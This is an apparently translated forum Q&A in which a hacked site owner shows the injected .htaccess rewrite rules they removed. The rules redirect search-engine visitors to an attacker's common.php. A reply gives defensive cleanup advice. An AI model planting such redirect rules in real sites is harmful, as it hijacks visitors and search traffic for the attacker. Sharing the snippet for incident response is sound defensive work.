
可能的重複:
我的伺服器被駭客攻擊了 緊急情況
我的網站最近被駭了。我想我已經找到添加到 htaccess 檔案中的程式碼,將其刪除,然後添加腳本以防止再次訪問 htaccess 檔案。我還刪除了被黑代碼引用的 php 檔案 (common.php)。接下來我需要做什麼?我不是程式設計師或網站開發人員,但我真的想看看我是否可以自己解決問題,因為我花了相當多的時間嘗試並且不輕易放棄。
這是我刪除的駭客程式碼:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (shtml|html|htm|php|xml|phtml|asp|aspx)$ [NC]
RewriteCond %{REQUEST_FILENAME} !common.php
RewriteCond /home/httpd/vhosts/bluestardive.com/httpdocs/common.php -f
RewriteRule ^.*$ /common.php [L]
</IfModule>
此程式碼必須保留在 htaccess 檔案中,因為它將我的 url 重定向到 seo 友善的 URL 或網站錯誤,但此程式碼是否也被駭客攻擊了?
# Apache search queries statistic module
RewriteEngine On
AddHandler php5-fastcgi .php .php5
# <contrexx>
# <core_modules__alias>
RewriteRule ^about-us$ /index.php?page=883 [L,NC]
RewriteRule ^ausfluge-und-aktivitaten$ /index.php?page=800 [L,NC]
RewriteRule ^bluestardive-news$ /index.php?page=919 [L,NC]
RewriteRule ^bookings$ /index.php?page=911 [L,NC]
RewriteRule ^diveresort$ /index.php?page=879 [L,NC]
RewriteRule ^diving$ /index.php?page=880 [L,NC]
RewriteRule ^excursions-and-activities$ /index.php?page=881 [L,NC]
RewriteRule ^galerie$ /index.php?section=gallery [L,NC]
RewriteRule ^oceannight$ http://www.bluestardive.com/index.php?page=906 [L,NC]
RewriteRule ^philosophy$ /index.php?page=846 [L,NC]
RewriteRule ^reservation$ /index.php?page=917 [L,NC]
RewriteRule ^reservierung$ /index.php?page=918 [L,NC]
RewriteRule ^resort$ /index.php?page=798 [L,NC]
# </core_modules__alias>
# </contrexx>
答案1
在這種情況下,最好的方法是找出使用者入口點,並重複攻擊 - 我無法告訴您 .htaccess 中是否添加了任何可疑內容,因為我不知道 index.php 內部有什麼。
如果index.php直接從資料庫回顯數據,那麼他/她可能在資料庫內添加了惡意程式碼,他/她可能在其他文件中創建了一些新的入口點(PHP Shell、Vulns)。
我強烈建議您與安全專家交談 - 如果沒有,請徹底重新檢查伺服器上的每個文件,包括資料庫條目。
確保弄清楚他的入口點是什麼,以防止未來的攻擊 - 如果您需要任何進一步的信息,您可以隨時與我聯繫。